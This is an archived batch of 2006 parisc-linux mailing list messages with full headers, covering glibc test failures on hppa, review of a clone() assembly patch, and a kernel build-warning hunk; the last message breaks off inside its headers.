Error 1
make[2]: *** [linuxthreads/tests] Error 2
make[3]: ***
[/build/buildd/glibc-2.3.6/build-tree/hppa-libc/elf/tst-tls13.out] Error =
1
make[2]: *** [elf/tests] Error 2
make[1]: *** [check] Error 2

My build:
# tail -f glibc-2.3.6-4.1 | grep Err

make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/locale=
data/sort-test.out]
Error 1
make[2]: *** [localedata/tests] Error 2
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-float.out]
Error 1
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-double.out]
Error 1
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/math/t=
est-idouble.out]
Error 1
make[2]: *** [math/tests] Error 2
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
tst-rxspencer.out]
Error 139
make[3]:
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/posix/=
annexc.out]
Error 1 (ignored)
make[2]: *** [posix/tests] Error 2
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/linuxt=
hreads/tst-attr1.out]
Error 1
make[2]: *** [linuxthreads/tests] Error 2
make[3]: ***
[/CAD/parisc-linux/Dpkg/dpkg-work/glibc-2.3.6/build-tree/hppa-libc/elf/ts=
t-tls13.out]
Error 1
make[2]: *** [elf/tests] Error 2
make[1]: *** [check] Error 2
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hppa glibc clone() patch proposal (3/3)
Date: Fri, 24 Mar 2006 09:51:20 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20060324165120.GC4206@colo.lackof.org>
References: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624026 18636 80.91.229.3 (22 Nov 2014 02:40:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:26 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>,
 Kyle McMartin <kyle@parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 16:40:26 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx073) with SMTP; 24 Mar 2006 17:40:26 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 217C57D6B6;
	Fri, 24 Mar 2006 09:40:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22044-08; Fri, 24 Mar 2006 09:40:22 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E2E8C7D6E2;
	Fri, 24 Mar 2006 09:40:21 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F29E67D6B0
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:40:19 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22051-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:40:19 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 577787D6AC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:40:19 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 1242936003A;
	Fri, 24 Mar 2006 09:51:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06123-10; Fri, 24 Mar 2006 09:51:20 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id B8DFE36001D; Fri, 24 Mar 2006 09:51:20 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: yRkXfENeMmApvrSZZGFnODkxMjQ1N53X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23485

On Fri, Mar 24, 2006 at 11:18:25AM +0100, Joel Soete wrote:
> Hello Mike, pa*,
> 
> And this last step is my actual fix proposal:
...
>  ENTRY(__clone)
> +       /* Sanity check arguments.  */
> +       comib,=         0, %arg0, .Larg_error   /* no NULL function pointers */
> +       ldi             -EINVAL, %ret0
> +       comib,=         0, %arg1, .Larg_error   /* no NULL stack pointers */
> +       nop

If this is correct, then I would prefer:

	/* catch NULL stack or function ptrs */
	xor		%arg1, %arg0, %ret0
	comib,=,n	0, %ret0, .Larg_error
	ldi             -EINVAL, %ret0


> 
>         /* Save the fn ptr and arg on the new stack.  */
>         stwm            %arg0, 64(%arg1)
> @@ -60,8 +67,8 @@
> 
>         /* Create frame for function */
>         copy            %sp, %r21
> +       stw             %r21, 60(%sp)

Is %r21 used later again?
If not, then these two ops can become:
	stw            %sp, 60(%sp)

If yes, then add the copy() *after* the stw.
PA-RISC can only do one store at a time.
PA20 can do the copy in parallel with the store.

hth,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a small hunk to cleanup 2 build warning?
Date: Fri, 24 Mar 2006 17:58:27 +0100
Lines: 67
Approved: news@gmane.org
Message-ID: <200603241758.28042.deller@gmx.de>
References: <IWMZGK$A7E56C1F2E8CACD0CB61C6EEBA1DB197@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624027 18638 80.91.229.3 (22 Nov 2014 02:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:27 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 16:58:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx083) with SMTP; 24 Mar 2006 17:58:41 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B987A7D73C;
	Fri, 24 Mar 2006 09:58:36 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22576-07; Fri, 24 Mar 2006 09:58:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8A88C7D705;
	Fri, 24 Mar 2006 09:58:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DBCCE7D6F4
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:58:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 22574-04 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:58:31 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id D7C447D6BE
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 09:58:30 -0700 (MST)
Original-Received: (qmail invoked by alias); 24 Mar 2006 16:58:29 -0000
Original-Received: from p54AD1D67.dip0.t-ipconnect.de (EHLO p100.box) [84.173.29.103]
	by mail.gmx.net (mp010) with SMTP; 24 Mar 2006 17:58:29 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <IWMZGK$A7E56C1F2E8CACD0CB61C6EEBA1DB197@scarlet.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: cxwXfENeMmApvrSZZGFnODkxMjQ1N51X
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23486

Hello Joel,

thank you for the patch.
I just looked how it is fixed currently in Linus' (>2.6.16) tree, and there this was added to include/linux/compat.h.
Since I don't think we will push the changes you propose to 2.6.16 in the file compat_siginfo.h upstream (since it has been fixed differently), I think it's easier to just stick with this small warning at the moment.
If others here think differently just go ahead...

Regards,
Helge

On Friday 24 March 2006 15:41, Joel Soete wrote:
> Hi pa*,
> 
> those 2 warning crossed my look during the build of n4k (64bit) smp kernel (in
> a loop to stress it a bit):
>   CC      kernel/compat.o
> /usr/src/linux-2.6.16-pa4/kernel/compat.c: In function 'compat_sys_timer_create':
> /usr/src/linux-2.6.16-pa4/kernel/compat.c:531: warning: implicit declaration
> of function 'get_compat_sigevent'
> [...]
>   CC      ipc/compat_mq.o
> /usr/src/linux-2.6.16-pa4/ipc/compat_mq.c: In function 'compat_sys_mq_notify':
> /usr/src/linux-2.6.16-pa4/ipc/compat_mq.c:113: warning: implicit declaration
> of function 'get_compat_sigevent'
> [...]
> 
> imho this simple hunk could be helpfull:
> --- ./include/linux/compat_siginfo.h.Orig       2006-03-24 14:04:10.000000000
> +0100
> +++ ./include/linux/compat_siginfo.h    2006-03-24 14:24:49.000000000 +0100
> @@ -171,6 +171,9 @@
>  
>  #endif /* !HAVE_ARCH_COMPAT_COPY_SIGINFO */
>  
> +extern int get_compat_sigevent(struct sigevent *event,
> +                       const struct compat_sigevent __user *u_event);
> +
>  extern int compat_copy_siginfo_to_user(compat_siginfo_t __user *to, struct
> siginfo *from);
>  extern int compat_copy_siginfo_from_user(struct siginfo *to, compat_siginfo_t
> __user *from);
>  
> ====<>====
> 
> If Ok can you ci?
> 
> TIA,
>     Joel
> 
> -------------------------------------------------------
> NOTE! My email address is changing to ... @scarlet.be
> Please make the necessary changes in your address book. 
> 
> 
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 
> 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a small hunk to cleanup 2 build warning?
Date: Fri, 24 Mar 2006 10:17:27 -0700
Lines: 12
Approved: news@gmane.org
Message-ID: <20060324171727.GD4206@colo.lackof.org>
References: <IWMZGK$A7E56C1F2E8CACD0CB61C6EEBA1DB197@scarlet.be> <200603241758.28042.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624027 18640 80.91.229.3 (22 Nov 2014 02:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:27 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Helge Deller <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <grundler@lackof.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 17:06:30 -0000
Original-Received: from colo.lackof.org (EHLO colo.lackof.org) [198.49.126.79]
  by mx0.gmx.net (mx037) with SMTP; 24 Mar 2006 18:06:30 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A1C7C360023;
	Fri, 24 Mar 2006 10:17:28 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08418-07; Fri, 24 Mar 2006 10:17:27 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5B0D136001D; Fri, 24 Mar 2006 10:17:27 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200603241758.28042.deller@gmx.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: JR4XfLoWMmApvrSZZGFnODkxMjQ1N13G
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23487

On Fri, Mar 24, 2006 at 05:58:27PM +0100, Helge Deller wrote:
> Since I don't think we will push the changes you propose to 2.6.16 in
> the file compat_siginfo.h upstream (since it has been fixed differently),
> I think it's easier to just stick with this small warning at the moment.
> If others here think differently just go ahead...

I agree. If it's already fixed upstream, I can live with the warning for now.

thanks,
grant



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] a small hunk to cleanup 2 build warning?
Date: Fri, 24 Mar 2006 18:39:35 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <IWN7PZ$E1AD0CBF1F1F1B2D7DEBD61F32B5E56D@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624027 18641 80.91.229.3 (22 Nov 2014 02:40:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:27 +0000 (UTC)
Cc: "deller" <deller@gmx.de>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 17:39:38 -0000
Original-Received: from guri.is.scarlet.be (EHLO guri.is.scarlet.be) [193.74.71.22]
  by mx0.gmx.net (mx075) with SMTP; 24 Mar 2006 18:39:38 +0100
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k2OHdZc10116; 
	Fri, 24 Mar 2006 18:39:35 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: k2hCLhwcaHI+vqWnKSUlaGJqamdhZESW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23488

> On Fri, Mar 24, 2006 at 05:58:27PM +0100, Helge Deller wrote:
> > Since I don't think we will push the changes you propose to 2.6.16 in=

> > the file compat_siginfo.h upstream (since it has been fixed different=
ly),
Ah interesting, I try it first in compat.h but complaining about 'struct
compat_sigevent' not define, that will may be learn me more about C ;-)
 
> > I think it's easier to just stick with this small warning at the mome=
nt.
> > If others here think differently just go ahead...
> 
> I agree. If it's already fixed upstream, I can live with the warning fo=
r now.
> 
Oh yes, just a suggestion in case that gcc could confuse stuff and may be=

related to 'Bug' encountered recently. 

Tx a lot for feedback,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Fwd: hppa glibc clone() patch proposal (3/3)
Date: Fri, 24 Mar 2006 14:50:50 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <119aab440603241150p3e15057gc23e355732c1dea@mail.gmail.com>
References: <IWMNAP$23D07646E4F7FC13AA5E343EDFB71AEA@scarlet.be>
	<119aab440603241148k755eb8a1m10982b0538fc2cf3@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624028 18644 80.91.229.3 (22 Nov 2014 02:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 19:51:06 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx020) with SMTP; 24 Mar 2006 20:51:06 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70F477D6F7;
	Fri, 24 Mar 2006 12:50:56 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23944-06; Fri, 24 Mar 2006 12:50:56 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id C000B7D6E3;
	Fri, 24 Mar 2006 12:50:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7F3FB7D6DA
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 12:50:52 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23866-06 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 12:50:51 -0700 (MST)
Original-Received: from pproxy.gmail.com (pproxy.gmail.com [64.233.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id D4ED27D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 12:50:51 -0700 (MST)
Original-Received: by pproxy.gmail.com with SMTP id b36so811500pyb
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 11:50:51 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references;
	b=qutbxWV6p4BZ6pOVGK31vrKXi+NTVpsqde1PHshn7C2LVjlmqyUbXPtGrFsoFGm5u64iRRt+7DbMiUcMzcVeY2cInQApmyrrscLNfUC95NWCnRxAESkRX/VeHeEMcMZS2pzVT9ApgFkyYpmRgMarAexZ7UjrMM18hz/WpQCeZcc=
Original-Received: by 10.64.179.10 with SMTP id b10mr133148qbf;
	Fri, 24 Mar 2006 11:50:50 -0800 (PST)
Original-Received: by 10.64.131.17 with HTTP; Fri, 24 Mar 2006 11:50:50 -0800 (PST)
In-Reply-To: <119aab440603241148k755eb8a1m10982b0538fc2cf3@mail.gmail.com>
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zyRBBRYefW4orOWveGVodW5mdmllckV7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23489

>         /* Create frame for function */
>         copy            %sp, %r21
> +       stw             %r21, 60(%sp)
>         stwm            %r3, 64(%sp)
> -       stw             %r21, -4(%sp)

Bug.

c.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: dann frazier <dannf@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] palinux outage this weekend
Date: Fri, 24 Mar 2006 15:40:31 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20060324224030.GB5694@krebs.dannf>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624028 18646 80.91.229.3 (22 Nov 2014 02:40:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 24 Mar 2006 22:40:39 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx004) with SMTP; 24 Mar 2006 23:40:39 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 478A67D6F9;
	Fri, 24 Mar 2006 15:40:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 25090-04; Fri, 24 Mar 2006 15:40:35 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 941097D6FB;
	Fri, 24 Mar 2006 15:40:34 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5D75E7D6F7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 24 Mar 2006 15:40:30 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 24919-05 for <parisc-linux@lists.parisc-linux.org>;
